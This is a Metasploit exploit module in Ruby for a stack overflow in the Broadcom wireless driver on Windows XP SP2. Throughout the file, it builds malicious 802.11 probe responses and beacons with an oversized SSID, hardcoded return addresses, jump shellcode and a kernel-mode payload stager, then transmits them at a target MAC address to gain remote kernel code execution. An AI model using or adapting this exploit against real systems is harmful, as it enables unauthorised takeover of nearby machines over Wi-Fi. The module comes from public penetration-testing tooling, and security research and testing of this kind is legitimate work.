require 'msf/core'

module Msf

class Exploits::Windows::Driver::Broadcom_WiFi_SSID < Msf::Exploit::Remote

  include Exploit::Lorcon
  include Exploit::KernelMode  

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Broadcom Wireless Driver Probe Response SSID Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the Broadcom Wireless driver
      that allows remote code execution in kernel mode by sending a 802.11 probe
      response that contains a long SSID. The target MAC address must
      be provided to use this exploit. The two cards tested fell into the
      00:14:a5:06:XX:XX and 00:14:a4:2a:XX:XX ranges.

      This module depends on the Lorcon library and only works on the Linux platform
      with a supported wireless card. Please see the Ruby Lorcon documentation 
      (external/ruby-lorcon/README) for more information.      
      },
      
      'Authors'        => 
        [
          'Chris Eagle',  # initial discovery
          'Johnny Cache <johnnycsh [at] 802.11mercenary.com>', # the man with the plan
          'skape', # windows kernel ninjitsu and debugging
          'hdm' # porting the C version to ruby
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 3583 $',
      'References'     =>
        [
          ['URL', 'http://projects.info-pull.com/mokb/MOKB-11-11-2006.html'],
        ],
      'Privileged'     => true,
            
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },

      'Payload'        =>
        {
          'Space'    => 500
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
          [ 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10',
            {
              'Ret'      => 0x8066662c, # jmp edi
              'Platform' => 'win',
              'Payload'  => 
              {
                'ExtendedOptions' => 
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dbb27,                    
                    
                }
              }
            } 
          ],
          
          # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
          [ 'Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10',
            {
              'Ret'      => 0x804f16eb, # jmp edi
              'Platform' => 'win',
              'Payload'  => 
              {
                'ExtendedOptions' => 
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dc0c7,
                }
              }
            } 
          ]          
        ],

      'DefaultTarget' => 0
      ))
      
    register_options(
      [
        OptString.new('ADDR_DST', [ true,  "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
        OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
      ], self.class)
  end

  def exploit
    open_wifi
    
    stime = Time.now.to_i
    
    print_status("Sending beacons and responses for #{datastore['RUNTIME']} seconds...")
    
    while (stime + datastore['RUNTIME'].to_i > Time.now.to_i) 
      
      select(nil, nil, nil, 0.02)
      wifi.write(create_response)

      select(nil, nil, nil, 0.01)
      wifi.write(create_beacon)
      
      break if session_created?
      
    end
    
    print_status("Finished sending frames...")
  end
  
  def create_beacon
    src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
    dst = eton('FF:FF:FF:FF:FF:FF')
    seq = [Time.now.to_i % 4096].pack('n')
  
    blob = create_frame
    blob[0,1] = 0x80.chr
    blob[4,6] = dst
    blob[10,6] = src
    blob[16,6] = src
    blob[22,2] = seq
    
    blob
  end
  
  def create_response
    src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
    dst = eton(datastore['ADDR_DST'])
    seq = [Time.now.to_i % 256].pack('n')
  
    blob = create_frame
    blob[0,1] = 0x50.chr    
    blob[4,6] = dst
    blob[10,6] = src
    blob[16,6] = src # bssid field, good idea to set to src. 
    blob[22,2] = seq
    
    blob
  end

  def create_frame
    "\x80" +                      # type/subtype
    "\x00" +                      # flags
    "\x00\x00" +                  # duration  
    "\xff\xff\xff\xff\xff\xff" +  # dst
    "\x58\x58\x58\x58\x58\x58" +  # src
    "\x58\x58\x58\x58\x58\x58" +  # bssid
    "\x70\xed" +                  # sequence number
    
    #
    # fixed parameters
    #
    
    # timestamp value
    Rex::Text.rand_text_alphanumeric(8) + 
    "\x64\x00" +                  # beacon interval
    "\x11\x04" +                  # capability flags
    
    #
    # tagged parameters
    #
    
    # ssid tag
    "\x00" + # tag: SSID parameter set
    "\x5d" + # len: length is 93 bytes
    
    # jump into the payload
    "\x89\xf9" +                 # mov edi, ecx
    "\x81\xc1\x7b\x00\x00\x00" + # add ecx, 0x7b
    "\xff\xe1" +                 # jmp ecx
    
    # padding
    Rex::Text.rand_text_alphanumeric(79) + 
    
    # return address
    [target.ret].pack('V') +
    
    # vendor specific tag
    "\xdd" + # wpa
    "\xff" + # big as we can make it
    
    # the kernel-mode stager
    payload.encoded
  end
  
end
end